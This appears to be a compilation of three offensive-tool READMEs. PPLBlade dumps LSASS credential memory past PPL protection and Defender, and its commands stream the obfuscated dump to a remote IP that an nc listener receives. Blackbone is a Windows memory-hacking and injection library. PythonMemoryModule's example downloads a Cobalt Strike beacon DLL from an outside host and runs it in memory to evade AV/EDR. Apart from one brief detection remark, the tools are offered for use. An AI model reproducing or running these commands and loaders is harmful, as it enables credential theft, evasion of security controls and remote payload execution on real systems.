PPLBlade - Protected Process Dumper Tool

Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.

Key functionalities:

1. Bypassing PPL protection
2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms
3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)

Overview of the techniques, used in this tool can be found here: https://tastypepperoni.medium.com/bypassing-defenders-lsass-dump-detection-and-ppl-protection-in-go-7dd85d9a32e6

Note that PROCEXP15.SYS is listed in the source files for compiling purposes. It does not need to be transferred on the target machine alongside the PPLBlade.exe.

It’s already embedded into the PPLBlade.exe. The exploit is just a single executable.

Modes:

1. Dump - Dump process memory using PID or Process Name
2. Decrypt - Revert obfuscated(--obfuscate) dump file to its original state
3. Cleanup - Do cleanup manually, in case something goes wrong on execution (Note that the option values should be the same as for the execution, we're trying to clean up)
4. DoThatLsassThing - Dump lsass.exe using Process Explorer driver (basic poc)

Handle Modes:

1. Direct - Opens PROCESS_ALL_ACCESS handle directly, using OpenProcess() function
2. Procexp - Uses PROCEXP152.sys to obtain a handle

PPLBlade.exe --mode dothatlsassthing

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234

nc -lnp 1234 > lsass.dmp
python3 deobfuscate.py --dumpname lsass.dmp

PPLBlade.exe --mode descrypt --dumpname PPLBlade.dmp --key PPLBlade

Blackbone - Windows Memory Hacking Library

Windows memory hacking library

Features

• x86 and x64 support

Process interaction

• Manage PEB32/PEB64
• Manage process through WOW64 barrier

Process Memory

• Allocate and free virtual memory
• Change memory protection
• Read/Write virtual memory

Process modules

• Enumerate all (32/64 bit) modules loaded. Enumerate modules using Loader list/Section objects/PE headers methods.
• Get exported function address
• Get the main module
• Unlink module from loader lists
• Inject and eject modules (including pure IL images)
• Inject 64bit modules into WOW64 processes
• Manually map native PE images

Threads

• Enumerate threads
• Create and terminate threads. Support for cross-session thread creation.
• Get thread exit code
• Get main thread
• Manage TEB32/TEB64
• Join threads
• Suspend and resume threads
• Set/Remove hardware breakpoints

Pattern search

• Search for arbitrary pattern in local or remote process

Remote code execution

• Execute functions in remote process
• Assemble own code and execute it remotely
• Support for cdecl/stdcall/thiscall/fastcall conventions
• Support for arguments passed by value, pointer or reference, including structures
• FPU types are supported
• Execute code in new thread or any existing one

Remote hooking

• Hook functions in remote process using int3 or hardware breakpoints
• Hook functions upon return

Manual map features

• x86 and x64 image support
• Mapping into any arbitrary unprotected process
• Section mapping with proper memory protection flags
• Image relocations (only 2 types supported. I haven't seen a single PE image with some other relocation types)
• Imports and Delayed imports are resolved
• Bound import is resolved as a side effect, I think
• Module exports
• Loading of forwarded export images
• Api schema name redirection
• SxS redirection and isolation
• Activation context support
• Dll path resolving similar to native load order
• TLS callbacks. Only for one thread and only with PROCESS_ATTACH/PROCESS_DETACH reasons.
• Static TLS
• Exception handling support (SEH and C++)
• Adding module to some native loader structures(for basic module api support: GetModuleHandle, GetProcAdress, etc.)
• Security cookie initialization
• C++/CLI images are supported
• Image unloading
• Increase reference counter for import libraries in case of manual import mapping
• Cyclic dependencies are handled properly

Driver features

• Allocate/free/protect user memory
• Read/write user and kernel memory
• Disable permanent DEP for WOW64 processes
• Change process protection flag
• Change handle access rights
• Remap process memory
• Hiding allocated user-mode memory
• User-mode dll injection and manual mapping
• Manual mapping of drivers

Requirements

• Visual Studio 2017 15.7 or higher
• Windows SDK 10.0.17134 or higher
• WDK 10.0.17134 or higher (driver only)
• VC++ 2017 Libs for Spectre (x86 and x64)
• Visual C++ ATL (x86/x64) with Spectre Mitigations

PythonMemoryModule - Pure-Python Implementation Of MemoryModule Technique To Load Dll And Unmanaged Exe Entirely From Memory

"Python memory module" AI generated pic - hotpot.ai

pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory

What is it

PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd). It leverages pefile to parse PE headers and ctypes.

The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.

Why it can be useful

1. It basically allows to use the MemoryModule techinque entirely in Python interpreted language, enabling the loading of a dll from a memory buffer using the stock signed python.exe binary without requiring dropping on disk external code/libraries (such as pymemorymodule bindings) that can be flagged by AV/EDRs or can raise user's suspicion.
2. Using MemoryModule technique in compiled languages loaders would require to embed MemoryModule code within the loaders themselves. This can be avoided using Python interpreted language and PythonMemoryModule since the code can be executed dynamically and in memory.
3. you can get some level of Intellectual Property protection by dynamically in-memory downloading, decrypting and loading dlls that should be hidden from prying eyes. Bear in mind that the dlls can be still recovered from memory and reverse-engineered, but at least it would require some more effort by the attacker.
4. you can load a stageless payload dll without performing injection or shellcode execution. The loading process mimics the LoadLibrary Windows API (which takes a path on disk as input) without actually calling it and operating in memory.

How to use it

In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.

import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.

How to detect it

Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.

Future improvements

1. add support for argument parsing.
2. add support (basic) for .NET assemblies execution.